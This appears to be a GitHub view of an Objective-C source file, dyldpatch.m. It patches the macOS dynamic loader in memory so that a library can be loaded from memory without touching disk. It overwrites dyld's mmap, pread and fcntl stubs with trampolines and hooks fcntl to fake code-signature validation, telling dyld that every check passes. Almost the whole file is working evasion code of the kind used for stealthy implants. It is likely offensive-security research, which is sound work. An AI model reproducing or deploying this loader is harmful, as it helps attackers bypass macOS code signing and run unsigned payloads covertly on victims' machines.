/
dyldpatch.m
226 lines (168 loc) · 7.16 KB
/
dyldpatch.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#import <Foundation/Foundation.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <mach-o/dyld.h>
#include <mach-o/dyld_images.h>
#include "dyldpatch.h"
char *memoryLoadedFile = NULL;
// ldr x8, value; br x8; value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48"
char patch[] = {0x88,0x00,0x00,0x58,0x00,0x01,0x1f,0xd6,0x1f,0x20,0x03,0xd5,0x1f,0x20,0x03,0xd5,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41};
// Signatures to search for
char mmapSig[] = {0xB0, 0x18, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4};
char preadSig[] = {0x30, 0x13, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4};
char fcntlSig[] = {0x90, 0x0B, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4};
bool searchAndPatch(char *base, char *signature, int length, void *target) {
char *patchAddr = NULL;
kern_return_t kret;
for(int i=0; i < 0x100000; i++) {
if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {
patchAddr = base + i;
break;
}
}
if (patchAddr == NULL) {
return FALSE;
}
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
if (kret != KERN_SUCCESS) {
return FALSE;
}
memcpy(patchAddr, patch, sizeof(patch));
*(void **)((char*)patchAddr + 16) = target;
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
if (kret != KERN_SUCCESS) {
return FALSE;
}
return TRUE;
}
const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
char *alloc;
char filePath[PATH_MAX];
int newFlags;
printf("[*] mmap Called: addr=%p len=%d prot=%x flags=%x fd=%d offset=%x\n", addr, len, prot, flags, fd, offset);
memset(filePath, 0, sizeof(filePath));
// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
printf("[*] mmap fd %d is for [%s]\n", fd, filePath);
printf("[*] Redirecting mmap with memory copy\n");
newFlags = MAP_PRIVATE | MAP_ANONYMOUS;
if (addr != 0) {
newFlags |= MAP_FIXED;
}
alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);
memcpy(alloc, memoryLoadedFile+offset, len);
vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);
return alloc;
}
}
// If for another file, we pass through
return mmap(addr, len, prot, flags, fd, offset);
}
ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) {
char filePath[PATH_MAX];
printf("[*] pread Called: fd=%d buf=%p nbyte=%x offset=%x\n", fd, buf, nbyte, offset);
memset(filePath, 0, sizeof(filePath));
// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
printf("[*] pread fd %d is for [%s]\n", fd, filePath);
printf("[*] Redirecting pread with memory copy\n");
memcpy(buf, memoryLoadedFile+offset, nbyte);
return nbyte;
}
}
// If for another file, we pass through
return pread(fd, buf, nbyte, offset);
}
int hookedFcntl(int fildes, int cmd, void* param) {
char filePath[PATH_MAX];
printf("[*] fcntl Called: fd=%d cmd=%x param=%p\n", fildes, cmd, param);
memset(filePath, 0, sizeof(filePath));
// Check if the file is our "in-memory" file
if (fcntl(fildes, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
printf("[*] fcntl fd %d is for [%s]\n", fildes, filePath);
if (cmd == F_ADDFILESIGS_RETURN) {
printf("[*] fcntl F_ADDFILESIGS_RETURN received, setting 0xFFFFFFFF\n");
fsignatures_t *fsig = (fsignatures_t*)param;
// called to check that cert covers file.. so we'll make it cover everything ;)
fsig->fs_file_start = 0xFFFFFFFF;
return 0;
}
// Signature sanity check by dyld
if (cmd == F_CHECK_LV) {
printf("[*] fcntl F_CHECK_LV received, telling dyld everything is fine\n");
// Just say everything is fine
return 0;
}
}
}
return fcntl(fildes, cmd, param);
}
void *getDyldBase(void) {
struct task_dyld_info dyld_info;
mach_vm_address_t image_infos;
struct dyld_all_image_infos *infos;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
kern_return_t ret;
ret = task_info(mach_task_self_,
TASK_DYLD_INFO,
(task_info_t)&dyld_info,
&count);
if (ret != KERN_SUCCESS) {
return NULL;
}
image_infos = dyld_info.all_image_info_addr;
infos = (struct dyld_all_image_infos *)image_infos;
return infos->dyldImageLoadAddress;
}
int readFile(char *path, char **data) {
int fd;
struct stat st;
int bytesRead;
fd = open(path, O_RDONLY);
if (fd < 0) {
return 0;
}
fstat(fd, &st);
*data = malloc(st.st_size);
bytesRead = read(fd, *data, st.st_size);
close(fd);
return bytesRead;
}
void patchDyld(char *path) {
char *dyldBase;
int fd;
int size;
void (*function)(void);
NSObjectFileImage fileImage;
// Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/
size = readFile(path, &memoryLoadedFile);
dyldBase = getDyldBase();
searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);
searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);
searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);
// // Set up blank content, same size as our Mach-O
// char *fakeImage = (char *)malloc(size);
// memset(fakeImage, 0x41, size);
//
// // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image
// fileImage = (NSObjectFileImage)malloc(1024);
// *(void **)(((char*)fileImage+0x8)) = fakeImage;
// *(void **)(((char*)fileImage+0x10)) = size;
//
// void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);
// void *symbol = NSLookupSymbolInModule(module, "__Z5runmev");
// function = NSAddressOfSymbol(symbol);
// function();
//
void *lib = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);
function = dlsym(lib, "_Z5runmev");
printf("[*] Invoking loaded function at %p... hold onto your butts....!!\n", function);
function();
}